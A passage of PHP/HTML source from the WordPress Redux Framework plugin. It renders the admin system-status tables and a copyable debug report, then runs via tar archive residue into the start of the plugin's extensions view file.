Version', 'redux-framework' ); ?>: </td> <td class="help"> <?php echo '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'The version of Redux Framework installed on your site.', 'redux-framework' ) . '">[?]</a>'; ?> </td> <td> <?php echo esc_html($sysinfo['redux_ver']); ?> </td> </tr> <tr> <td data-export-label="Redux Data Directory Writable"> <?php esc_html_e( 'Redux Data Directory Writable', 'redux-framework' ); ?>: </td> <td class="help"> <?php echo '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'Redux and its extensions write data to the <code>uploads</code> directory. This directory must be writable.', 'redux-framework' ) . '">[?]</a>'; ?> </td> <td><?php if ( $sysinfo['redux_data_writeable'] == 'true' ) { echo '<mark class="yes">' . '✔ <code>' . esc_html($sysinfo['redux_data_dir']) . '</code></mark> '; } else { printf( '<mark class="error">' . '✕ ' . __( 'To allow data saving, make <code>%s</code> writable.', 'redux-framework' ) . '</mark>', esc_html($sysinfo['redux_data_dir']) ); } ?></td> </tr> <tr> <td data-export-label="WP Content URL"> <?php esc_html_e( 'WP Content URL', 'redux-framework' ); ?>: </td> <td class="help"> <?php echo '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'The location of Wordpress\'s content URL.', 'redux-framework' ) . '">[?]</a>'; ?> </td> <td> <?php echo '<code>' . esc_url($sysinfo['wp_content_url']) . '</code> '; ?> </td> </tr> <tr> <td data-export-label="WP Version"> <?php esc_html_e( 'WP Version', 'redux-framework' ); ?>: </td> <td class="help"> <?php echo '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'The version of WordPress installed on your site.', 'redux-framework' ) . '">[?]</a>'; ?> </td> <td> <?php bloginfo( 'version' ); ?> </td> </tr> <tr> <td data-export-label="WP Multisite"> <?php esc_html_e( 'WP Multisite', 'redux-framework' ); ?>: </td> <td class="help"> <?php echo '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'Whether or not you have WordPress Multisite enabled.', 'redux-framework' ) . '">[?]</a>'; ?> </td> <td><?php if ( $sysinfo['wp_multisite'] == true ) { echo '✔'; } else { echo '–'; } ?> </td> </tr> <tr> <td data-export-label="Permalink Structure"> <?php esc_html_e( 'Permalink Structure', 'redux-framework' ); ?>: </td> <td class="help"> <?php echo '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'The current permalink structure as defined in Wordpress Settings->Permalinks.', 'redux-framework' ) . '">[?]</a>'; ?> </td> <td> <?php echo esc_html($sysinfo['permalink_structure']); ?> </td> </tr> <?php $sof = $sysinfo['front_page_display']; ?> <tr> <td data-export-label="Front Page Display"> <?php esc_html_e( 'Front Page Display', 'redux-framework' ); ?>: </td> <td class="help"><?php echo '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'The current Reading mode of Wordpress.', 'redux-framework' ) . '">[?]</a>'; ?></td> <td><?php echo esc_html($sof); ?></td> </tr> <?php if ( $sof == 'page' ) { ?> <tr> <td data-export-label="Front Page"> <?php esc_html_e( 'Front Page', 'redux-framework' ); ?>: </td> <td class="help"> <?php echo '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'The currently selected page which acts as the site\'s Front Page.', 'redux-framework' ) . '">[?]</a>'; ?> </td> <td> <?php echo esc_html($sysinfo['front_page']); ?> </td> </tr> <tr> <td data-export-label="Posts Page"> <?php esc_html_e( 'Posts Page', 'redux-framework' ); ?>: </td> <td class="help"> <?php echo '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'The currently selected page in where blog posts are displayed.', 'redux-framework' ) . '">[?]</a>'; ?> </td> <td> <?php echo esc_html($sysinfo['posts_page']); ?> </td> </tr> <?php } ?> <tr> <td data-export-label="WP Memory Limit"> <?php esc_html_e( 'WP Memory Limit', 'redux-framework' ); ?>: </td> <td class="help"> <?php echo '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'The maximum amount of memory (RAM) that your site can use at one time.', 'redux-framework' ) . '">[?]</a>'; ?> </td> <td> <?php $memory = $sysinfo['wp_mem_limit']['raw']; if ( $memory < 40000000 ) { echo '<mark class="error">' . sprintf( __( '%s - We recommend setting memory to at least 40MB. See: <a href="%s" target="_blank">Increasing memory allocated to PHP</a>', 'redux-framework' ), esc_html($sysinfo['wp_mem_limit']['size']), 'http://codex.wordpress.org/Editing_wp-config.php#Increasing_memory_allocated_to_PHP' ) . '</mark>'; } else { echo '<mark class="yes">' . esc_html($sysinfo['wp_mem_limit']['size']) . '</mark>'; } ?> </td> </tr> <tr> <td data-export-label="Database Table Prefix"> <?php esc_html_e( 'Database Table Prefix', 'redux-framework' ); ?>: </td> <td class="help"> <?php echo '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'The prefix structure of the current Wordpress database.', 'redux-framework' ) . '">[?]</a>'; ?> </td> <td> <?php echo esc_html($sysinfo['db_table_prefix']); ?> </td> </tr> <tr> <td data-export-label="WP Debug Mode"> <?php esc_html_e( 'WP Debug Mode', 'redux-framework' ); ?>: </td> <td class="help"> <?php echo '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'Displays whether or not WordPress is in Debug Mode.', 'redux-framework' ) . '">[?]</a>'; ?> </td> <td> <?php if ( $sysinfo['wp_debug'] === 'true' ) { echo '<mark class="yes">' . '✔' . '</mark>'; } else { echo '<mark class="no">' . '–' . '</mark>'; } ?> </td> </tr> <tr> <td data-export-label="Language"> <?php esc_html_e( 'Language', 'redux-framework' ); ?>: </td> <td class="help"> <?php echo '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'The current language used by WordPress. Default = English', 'redux-framework' ) . '">[?]</a>'; ?> </td> <td> <?php echo esc_html($sysinfo['wp_lang']); ?> </td> </tr> </tbody> </table> <table class="redux_status_table widefat" cellspacing="0" id="status"> <thead> <tr> <th colspan="3" data-export-label="Browser"> <?php esc_html_e( 'Browser', 'redux-framework' ); ?> </th> </tr> </thead> <tbody> <tr> <td data-export-label="Browser Info"> <?php esc_html_e( 'Browser Info', 'redux-framework' ); ?>: </td> <td class="help"> <?php echo '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'Information about web browser current in use.', 'redux-framework' ) . '">[?]</a>'; ?> </td> <td> <?php foreach ( $sysinfo['browser'] as $key => $value ) { echo '<strong>' . esc_html(ucfirst( $key )) . '</strong>: ' . esc_html($value) . '<br/>'; } ?> </td> </tr> </tbody> </table> <table class="redux_status_table widefat" cellspacing="0" id="status"> <thead> <tr> <th colspan="3" data-export-label="Server Environment"> <?php esc_html_e( 'Server Environment', 'redux-framework' ); ?> </th> </tr> </thead> <tbody> <tr> <td data-export-label="Server Info"> <?php esc_html_e( 'Server Info', 'redux-framework' ); ?>: </td> <td class="help"> <?php echo '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'Information about the web server that is currently hosting your site.', 'redux-framework' ) . '">[?]</a>'; ?> </td> <td> <?php echo esc_html($sysinfo['server_info']); ?> </td> </tr> <tr> <td data-export-label="Localhost Environment"> <?php esc_html_e( 'Localhost Environment', 'redux-framework' ); ?>: </td> <td class="help"> <?php echo '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'Is the server running in a localhost environment.', 'redux-framework' ) . '">[?]</a>'; ?> </td> <td> <?php if ( $sysinfo['localhost'] === 'true' ) { echo '<mark class="yes">' . '✔' . '</mark>'; } else { echo '<mark class="no">' . '–' . '</mark>'; } ?> </td> </tr> <tr> <td data-export-label="PHP Version"> <?php esc_html_e( 'PHP Version', 'redux-framework' ); ?>: </td> <td class="help"> <?php echo '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'The version of PHP installed on your hosting server.', 'redux-framework' ) . '">[?]</a>'; ?> </td> <td> <?php echo esc_html($sysinfo['php_ver']); ?> </td> </tr> <tr> <td data-export-label="ABSPATH"> <?php esc_html_e( 'ABSPATH', 'redux-framework' ); ?>: </td> <td class="help"> <?php echo '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'The ABSPATH variable on the server.', 'redux-framework' ) . '">[?]</a>'; ?> </td> <td> <?php echo '<code>' . esc_html($sysinfo['abspath']) . '</code>'; ?> </td> </tr> <?php if ( function_exists( 'ini_get' ) ) { ?> <tr> <td data-export-label="PHP Memory Limit"><?php esc_html_e( 'PHP Memory Limit', 'redux-framework' ); ?>:</td> <td class="help"><?php echo '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'The largest filesize that can be contained in one post.', 'redux-framework' ) . '">[?]</a>'; ?></td> <td><?php echo esc_html($sysinfo['php_mem_limit']); ?></td> </tr> <tr> <td data-export-label="PHP Post Max Size"><?php esc_html_e( 'PHP Post Max Size', 'redux-framework' ); ?>:</td> <td class="help"><?php echo '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'The largest filesize that can be contained in one post.', 'redux-framework' ) . '">[?]</a>'; ?></td> <td><?php echo esc_html($sysinfo['php_post_max_size']); ?></td> </tr> <tr> <td data-export-label="PHP Time Limit"><?php esc_html_e( 'PHP Time Limit', 'redux-framework' ); ?>:</td> <td class="help"><?php echo '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'The amount of time (in seconds) that your site will spend on a single operation before timing out (to avoid server lockups)', 'redux-framework' ) . '">[?]</a>'; ?></td> <td><?php echo esc_html($sysinfo['php_time_limit']); ?></td> </tr> <tr> <td data-export-label="PHP Max Input Vars"><?php esc_html_e( 'PHP Max Input Vars', 'redux-framework' ); ?>:</td> <td class="help"><?php echo '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'The maximum number of variables your server can use for a single function to avoid overloads.', 'redux-framework' ) . '">[?]</a>'; ?></td> <td><?php echo esc_html($sysinfo['php_max_input_var']); ?></td> </tr> <tr> <td data-export-label="PHP Display Errors"><?php esc_html_e( 'PHP Display Errors', 'redux-framework' ); ?>:</td> <td class="help"><?php echo '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'Determines if PHP will display errors within the browser.', 'redux-framework' ) . '">[?]</a>'; ?></td> <td><?php if ( 'true' === $sysinfo['php_display_errors'] ) { echo '<mark class="yes">' . '✔' . '</mark>'; } else { echo '<mark class="no">' . '–' . '</mark>'; } ?></td> </tr> <?php } ?> <tr> <td data-export-label="SUHOSIN Installed"><?php esc_html_e( 'SUHOSIN Installed', 'redux-framework' ); ?>:</td> <td class="help"><?php echo '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'Suhosin is an advanced protection system for PHP installations. It was designed to protect your servers on the one hand against a number of well known problems in PHP applications and on the other hand against potential unknown vulnerabilities within these applications or the PHP core itself. If enabled on your server, Suhosin may need to be configured to increase its data submission limits.', 'redux-framework' ) . '">[?]</a>'; ?></td> <td> <?php if ( $sysinfo['suhosin_installed'] == true ) { echo '<mark class="yes">' . '✔' . '</mark>'; } else { echo '<mark class="no">' . '–' . '</mark>'; } ?> </td> </tr> <tr> <td data-export-label="MySQL Version"><?php esc_html_e( 'MySQL Version', 'redux-framework' ); ?>:</td> <td class="help"><?php echo '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'The version of MySQL installed on your hosting server.', 'redux-framework' ) . '">[?]</a>'; ?></td> <td><?php echo esc_html($sysinfo['mysql_ver']); ?></td> </tr> <tr> <td data-export-label="Max Upload Size"><?php esc_html_e( 'Max Upload Size', 'redux-framework' ); ?>:</td> <td class="help"><?php echo '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'The largest filesize that can be uploaded to your WordPress installation.', 'redux-framework' ) . '">[?]</a>'; ?></td> <td><?php echo esc_html($sysinfo['max_upload_size']); ?></td> </tr> <tr> <td data-export-label="Default Timezone is UTC"> <?php esc_html_e( 'Default Timezone is UTC', 'redux-framework' ); ?>: </td> <td class="help"><?php echo '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'The default timezone for your server.', 'redux-framework' ) . '">[?]</a>'; ?></td> <td> <?php if ( $sysinfo['def_tz_is_utc'] === 'false' ) { echo '<mark class="error">' . '✕ ' . sprintf( __( 'Default timezone is %s - it should be UTC', 'redux-framework' ), esc_html(date_default_timezone_get()) ) . '</mark>'; } else { echo '<mark class="yes">' . '✔' . '</mark>'; } ?> </td> </tr> <?php $posting = array(); // fsockopen/cURL $posting['fsockopen_curl']['name'] = 'fsockopen/cURL'; $posting['fsockopen_curl']['help'] = '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'Used when communicating with remote services with PHP.', 'redux-framework' ) . '">[?]</a>'; if ( $sysinfo['fsockopen_curl'] === 'true' ) { $posting['fsockopen_curl']['success'] = true; } else { $posting['fsockopen_curl']['success'] = false; $posting['fsockopen_curl']['note'] = esc_html__( 'Your server does not have fsockopen or cURL enabled - cURL is used to communicate with other servers. Please contact your hosting provider.', 'redux-framework' ) . '</mark>'; } /* // SOAP $posting['soap_client']['name'] = 'SoapClient'; $posting['soap_client']['help'] = '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'Some webservices like shipping use SOAP to get information from remote servers, for example, live shipping quotes from FedEx require SOAP to be installed.', 'redux-framework' ) . '">[?]</a>'; if ( $sysinfo['soap_client'] == true ) { $posting['soap_client']['success'] = true; } else { $posting['soap_client']['success'] = false; $posting['soap_client']['note'] = sprintf( __( 'Your server does not have the <a href="%s">SOAP Client</a> class enabled - some gateway plugins which use SOAP may not work as expected.', 'redux-framework' ), 'http://php.net/manual/en/class.soapclient.php' ) . '</mark>'; } // DOMDocument $posting['dom_document']['name'] = 'DOMDocument'; $posting['dom_document']['help'] = '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'HTML/Multipart emails use DOMDocument to generate inline CSS in templates.', 'redux-framework' ) . '">[?]</a>'; if ( $sysinfo['dom_document'] == true ) { $posting['dom_document']['success'] = true; } else { $posting['dom_document']['success'] = false; $posting['dom_document']['note'] = sprintf( __( 'Your server does not have the <a href="%s">DOMDocument</a> class enabled - HTML/Multipart emails, and also some extensions, will not work without DOMDocument.', 'redux-framework' ), 'http://php.net/manual/en/class.domdocument.php' ) . '</mark>'; } */ //// GZIP //$posting['gzip']['name'] = 'GZip'; //$posting['gzip']['help'] = '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'GZip (gzopen) is used to open the GEOIP database from MaxMind.', 'redux-framework' ) . '">[?]</a>'; // //if ( $sysinfo['gzip'] == true ) { // $posting['gzip']['success'] = true; //} else { // $posting['gzip']['success'] = false; // $posting['gzip']['note'] = sprintf( __( 'Your server does not support the <a href="%s">gzopen</a> function - this is required to use the GeoIP database from MaxMind. The API fallback will be used instead for geolocation.', 'redux-framework' ), 'http://php.net/manual/en/zlib.installation.php' ) . '</mark>'; //} // WP Remote Post Check $posting['wp_remote_post']['name'] = esc_html__( 'Remote Post', 'redux-framework' ); $posting['wp_remote_post']['help'] = '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'Used to send data to remote servers.', 'redux-framework' ) . '">[?]</a>'; if ( $sysinfo['wp_remote_post'] === 'true' ) { $posting['wp_remote_post']['success'] = true; } else { $posting['wp_remote_post']['note'] = esc_html__( 'wp_remote_post() failed. Many advanced features may not function. Contact your hosting provider.', 'redux-framework' ); if ( $sysinfo['wp_remote_post_error'] ) { $posting['wp_remote_post']['note'] .= ' ' . sprintf( __( 'Error: %s', 'redux-framework' ), redux_clean( $sysinfo['wp_remote_post_error'] ) ); } $posting['wp_remote_post']['success'] = false; } // WP Remote Get Check $posting['wp_remote_get']['name'] = esc_html__( 'Remote Get', 'redux-framework' ); $posting['wp_remote_get']['help'] = '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'Used to grab information from remote servers for updates updates.', 'redux-framework' ) . '">[?]</a>'; if ( $sysinfo['wp_remote_get'] === 'true' ) { $posting['wp_remote_get']['success'] = true; } else { $posting['wp_remote_get']['note'] = esc_html__( 'wp_remote_get() failed. This is needed to get information from remote servers. Contact your hosting provider.', 'redux-framework' ); if ( $sysinfo['wp_remote_get_error'] ) { $posting['wp_remote_get']['note'] .= ' ' . sprintf( __( 'Error: %s', 'redux-framework' ), redux_clean( $sysinfo['wp_remote_get_error'] ) ); } $posting['wp_remote_get']['success'] = false; } $posting = apply_filters( 'redux_debug_posting', $posting ); foreach ( $posting as $post ) { $mark = ! empty( $post['success'] ) ? 'yes' : 'error'; ?> <tr> <td data-export-label="<?php echo esc_html( $post['name'] ); ?>"> <?php echo esc_html( $post['name'] ); ?>: </td> <td> <?php echo isset( $post['help'] ) ? $post['help'] : ''; ?> </td> <td class="help"> <mark class="<?php echo esc_attr($mark); ?>"> <?php echo ! empty( $post['success'] ) ? '✔' : '✕'; ?> <?php echo ! empty( $post['note'] ) ? wp_kses_data( $post['note'] ) : ''; ?> </mark> </td> </tr> <?php } ?> </tbody> </table> <table class="redux_status_table widefat" cellspacing="0" id="status"> <thead> <tr> <th colspan="3" data-export-label="Active Plugins (<?php echo esc_html(count( (array) get_option( 'active_plugins' ) ) ); ?>)"> <?php esc_html_e( 'Active Plugins', 'redux-framework' ); ?> (<?php echo esc_html(count( (array) get_option( 'active_plugins' ) ) ); ?>) </th> </tr> </thead> <tbody> <?php foreach ( $sysinfo['plugins'] as $name => $plugin_data ) { $version_string = ''; $network_string = ''; if ( ! empty( $plugin_data['Name'] ) ) { // link the plugin name to the plugin url if available $plugin_name = esc_html( $plugin_data['Name'] ); if ( ! empty( $plugin_data['PluginURI'] ) ) { $plugin_name = '<a href="' . esc_url( $plugin_data['PluginURI'] ) . '" title="' . esc_attr__( 'Visit plugin homepage', 'redux-framework' ) . '">' . esc_html($plugin_name) . '</a>'; } ?> <tr> <td><?php echo $plugin_name; ?></td> <td class="help"> </td> <td> <?php echo sprintf( _x( 'by %s', 'by author', 'redux-framework' ), $plugin_data['Author'] ) . ' – ' . esc_html( $plugin_data['Version'] ) . $version_string . $network_string; ?> </td> </tr> <?php } } ?> </tbody> </table> <?php if ( ! empty( $sysinfo['redux_instances'] ) && is_array( $sysinfo['redux_instances'] ) ) { foreach ( $sysinfo['redux_instances'] as $inst => $data ) { $inst_name = ucwords( str_replace( array( '_', '-' ), ' ', $inst ) ); $args = $data['args']; ?> <table class="redux_status_table widefat" cellspacing="0" id="status"> <thead> <tr> <th colspan="3" data-export-label="Redux Instance: <?php echo esc_html($inst_name); ?>"> <?php esc_html_e( 'Redux Instance: ', 'redux-framework' ); echo esc_html($inst_name); ?></th> </tr> </thead> <tbody> <tr> <td data-export-label="opt_name">opt_name:</td> <td class="help"><?php echo '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'The opt_name argument for this instance of Redux.', 'redux-framework' ) . '">[?]</a>'; ?></td> <td><?php echo esc_html($args['opt_name']); ?></td> </tr> <?php if ( isset( $args['global_variable'] ) && $args['global_variable'] != '' ) { ?> <tr> <td data-export-label="global_variable">global_variable:</td> <td class="help"><?php echo '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'The global_variable argument for this instance of Redux.', 'redux-framework' ) . '">[?]</a>'; ?></td> <td><?php echo esc_html($args['global_variable']); ?></td> </tr> <?php } ?> <tr> <td data-export-label="dev_mode">dev_mode:</td> <td class="help"><?php echo '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'Indicates if developer mode is enabled for this instance of Redux.', 'redux-framework' ) . '">[?]</a>'; ?></td> <td><?php echo true == $args['dev_mode'] ? '<mark class="yes">' . '✔' . '</mark>' : '<mark class="no">' . '–' . '</mark>'; ?></td> </tr> <tr> <td data-export-label="ajax_save">ajax_save:</td> <td class="help"><?php echo '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'Indicates if ajax based saving is enabled for this instance of Redux.', 'redux-framework' ) . '">[?]</a>'; ?></td> <td><?php echo true == $args['ajax_save'] ? '<mark class="yes">' . '✔' . '</mark>' : '<mark class="no">' . '–' . '</mark>'; ?></td> </tr> <tr> <td data-export-label="page_slug">page_slug:</td> <td class="help"><?php echo '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'The page slug denotes the string used for the options panel page for this instance of Redux.', 'redux-framework' ) . '">[?]</a>'; ?></td> <td><?php echo esc_html($args['page_slug']); ?></td> </tr> <tr> <td data-export-label="page_permissions">page_permissions:</td> <td class="help"><?php echo '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'The page permissions variable sets the permission level required to access the options panel for this instance of Redux.', 'redux-framework' ) . '">[?]</a>'; ?></td> <td><?php echo esc_html($args['page_permissions']); ?></td> </tr> <tr> <td data-export-label="menu_type">menu_type:</td> <td class="help"><?php echo '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'This variable set whether or not the menu is displayed as an admin menu item for this instance of Redux.', 'redux-framework' ) . '">[?]</a>'; ?></td> <td><?php echo esc_html($args['menu_type']); ?></td> </tr> <tr> <td data-export-label="page_parent">page_parent:</td> <td class="help"><?php echo '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'The page parent variable sets where the options menu will be placed on the WordPress admin sidebar for this instance of Redux.', 'redux-framework' ) . '">[?]</a>'; ?></td> <td><?php echo esc_html($args['page_parent']); ?></td> </tr> <tr> <td data-export-label="compiler">compiler:</td> <td class="help"><?php echo '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'Indicates if the compiler flag is enabled for this instance of Redux.', 'redux-framework' ) . '">[?]</a>'; ?></td> <td><?php echo true == $args['compiler'] ? '<mark class="yes">' . '✔' . '</mark>' : '<mark class="no">' . '–' . '</mark>'; ?></td> </tr> <tr> <td data-export-label="output">output:</td> <td class="help"><?php echo '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'Indicates if output flag for globally shutting off all CSS output is enabled for this instance of Redux.', 'redux-framework' ) . '">[?]</a>'; ?></td> <td><?php echo true == $args['output'] ? '<mark class="yes">' . '✔' . '</mark>' : '<mark class="no">' . '–' . '</mark>'; ?></td> </tr> <tr> <td data-export-label="output_tag">output_tag:</td> <td class="help"><?php echo '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'The output_tag variable sets whether or not dynamic CSS will be generated for the customizer and Google fonts for this instance of Redux.', 'redux-framework' ) . '">[?]</a>'; ?></td> <td><?php echo true == $args['output_tag'] ? '<mark class="yes">' . '✔' . '</mark>' : '<mark class="no">' . '–' . '</mark>'; ?></td> </tr> <?php if ( isset( $args['templates_path'] ) && $args['templates_path'] != '' ) { ?> <tr> <td data-export-label="template_path">template_path:</td> <td class="help"><?php echo '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'The specified template path containing custom template files for this instance of Redux.', 'redux-framework' ) . '">[?]</a>'; ?></td> <td><?php echo '<code>' . esc_html($args['templates_path']) . '</code>'; ?></td> </tr> <tr> <td data-export-label="Templates">Templates:</td> <td class="help"><?php echo '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'List of template files overriding the default Redux template files.', 'redux-framework' ) . '">[?]</a>'; ?></td> <?php $found_files = $data['templates']; if ( $found_files ) { foreach ( $found_files as $plugin_name => $found_plugin_files ) { ?> <td> <?php echo implode( ', <br/>', $found_plugin_files ); ?> </td> <?php } } else { ?> <td>–</td> <?php } ?> </tr> <?php } $ext = $data['extensions']; if ( ! empty( $ext ) && is_array( $ext ) ) { ?> <tr> <td data-export-label="Extensions">Extensions</td> <td class="help"><?php echo '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'Indicates the installed Redux extensions and their version numbers.', 'redux-framework' ) . '">[?]</a>'; ?></td> <td> <?php foreach ( $ext as $name => $arr ) { $ver = $arr['version']; echo '<a href="http://reduxframework.com/extensions/' . str_replace( array( '_', ), '-', $name ) . '" target="blank">' . ucwords( str_replace( array( '_', '-' ), ' ', $name ) ) . '</a> - ' . esc_html($ver); ?><br/> <?php } ?> </td> </tr> <?php } ?> </tbody> </table> <?php } } ?> <table class="redux_status_table widefat" cellspacing="0" id="status"> <thead> <tr> <th colspan="3" data-export-label="Theme"><?php esc_html_e( 'Theme', 'redux-framework' ); ?></th> </tr> </thead> <tbody> <tr> <td data-export-label="Name"><?php esc_html_e( 'Name', 'redux-framework' ); ?>:</td> <td class="help"><?php echo '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'The name of the current active theme.', 'redux-framework' ) . '">[?]</a>'; ?></td> <td><?php echo esc_html($sysinfo['theme']['name']); ?></td> </tr> <tr> <td data-export-label="Version"><?php esc_html_e( 'Version', 'redux-framework' ); ?>:</td> <td class="help"><?php echo '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'The installed version of the current active theme.', 'redux-framework' ) . '">[?]</a>'; ?></td> <td> <?php echo esc_html($sysinfo['theme']['version']); if ( ! empty( $theme_version_data['version'] ) && version_compare( $theme_version_data['version'], $active_theme->Version, '!=' ) ) { echo ' – <strong style="color:red;">' . esc_html($theme_version_data['version']) . ' ' . esc_html__( 'is available', 'redux-framework' ) . '</strong>'; } ?> </td> </tr> <tr> <td data-export-label="Author URL"><?php esc_html_e( 'Author URL', 'redux-framework' ); ?>:</td> <td class="help"><?php echo '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'The theme developers URL.', 'redux-framework' ) . '">[?]</a>'; ?></td> <td><?php echo esc_url($sysinfo['theme']['author_uri']); ?></td> </tr> <tr> <td data-export-label="Child Theme"><?php esc_html_e( 'Child Theme', 'redux-framework' ); ?>:</td> <td class="help"><?php echo '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'Displays whether or not the current theme is a child theme.', 'redux-framework' ) . '">[?]</a>'; ?></td> <td> <?php echo is_child_theme() ? '<mark class="yes">' . '✔' . '</mark>' : '✕ <br /><em>' . sprintf( __( 'If you\'re modifying Redux Framework or a parent theme you didn\'t build personally, we recommend using a child theme. See: <a href="%s" target="_blank">How to create a child theme</a>', 'redux-framework' ), 'http://codex.wordpress.org/Child_Themes' ) . '</em>'; ?> </td> </tr> <?php if ( is_child_theme() ) { ?> <tr> <td data-export-label="Parent Theme Name"><?php esc_html_e( 'Parent Theme Name', 'redux-framework' ); ?>: </td> <td class="help"><?php echo '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'The name of the parent theme.', 'redux-framework' ) . '">[?]</a>'; ?></td> <td><?php echo esc_html($sysinfo['theme']['parent_name']); ?></td> </tr> <tr> <td data-export-label="Parent Theme Version"> <?php esc_html_e( 'Parent Theme Version', 'redux-framework' ); ?>: </td> <td class="help"><?php echo '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'The installed version of the parent theme.', 'redux-framework' ) . '">[?]</a>'; ?></td> <td><?php echo esc_html($sysinfo['theme']['parent_version']); ?></td> </tr> <tr> <td data-export-label="Parent Theme Author URL"> <?php esc_html_e( 'Parent Theme Author URL', 'redux-framework' ); ?>: </td> <td class="help"><?php echo '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'The parent theme developers URL.', 'redux-framework' ) . '">[?]</a>'; ?></td> <td><?php echo esc_url($sysinfo['theme']['parent_author_uri']); ?></td> </tr> <?php } ?> </tbody> </table> <script type="text/javascript"> jQuery( 'a.redux-hint-qtip' ).click( function() { return false; } ); jQuery( 'a.debug-report' ).click( function() { var report = ''; jQuery( '#status thead, #status tbody' ).each( function() { if ( jQuery( this ).is( 'thead' ) ) { var label = jQuery( this ).find( 'th:eq(0)' ).data( 'export-label' ) || jQuery( this ).text(); report = report + "\n### " + jQuery.trim( label ) + " ###\n\n"; } else { jQuery( 'tr', jQuery( this ) ).each( function() { var label = jQuery( this ).find( 'td:eq(0)' ).data( 'export-label' ) || jQuery( this ).find( 'td:eq(0)' ).text(); var the_name = jQuery.trim( label ).replace( /(<([^>]+)>)/ig, '' ); // Remove HTML var the_value = jQuery.trim( jQuery( this ).find( 'td:eq(2)' ).text() ); var value_array = the_value.split( ', ' ); if ( value_array.length > 1 ) { // If value have a list of plugins ',' // Split to add new line var output = ''; var temp_line = ''; jQuery.each( value_array, function( key, line ) { temp_line = temp_line + line + '\n'; } ); the_value = temp_line; } report = report + '' + the_name + ': ' + the_value + "\n"; } ); } } ); try { jQuery( "#debug-report" ).slideDown(); jQuery( "#debug-report textarea" ).val( report ).focus().select(); jQuery( this ).fadeOut(); return false; } catch ( e ) { console.log( e ); } return false; } ); jQuery( document ).ready( function( $ ) { $( 'body' ).on( 'copy', '#copy-for-support', function( e ) { e.clipboardData.clearData(); e.clipboardData.setData( 'text/plain', $( '#debug-report textarea' ).val() ); e.preventDefault(); } ); } ); </script> </div>��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/welcome/views/extensions.php����������������������������������������������������0000644�����������������00000012325�14720701300�0016134 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /* repeater => social profiles => js button => multi media => css layout => color schemes => adjust-alt custom fonts => fontsize code mirror => view-mode live search => search support faq's => question date time picker => premium support => metaboxes => widget areas => shortcodes => icon select => gallery tracking => * */ $iconMap = array( 'repeater' => 'tags', 'social-profiles' => 'group', 'js-button' => 'hand-down', 'multi-media' => 'picture', 'css-layout' => 'fullscreen', 'color-schemes' => 'adjust-alt', 'custom-fonts' => 'fontsize', //'codemirror' => 'view-mode', 'live-search' => 'search', 'support-faqs' => 'question', 'date-time' => 'calendar', 'premium-support' => 'fire', 'metaboxes' => 'magic', 'widget-areas' => 'inbox-box', 'shortcodes' => 'shortcode', 'icon-select' => 'gallery', 'accordion' => 'lines' ); $colors = array( '8CC63F', '8CC63F', '0A803B', '25AAE1', '0F75BC', 'F7941E', 'F1592A', 'ED217C', 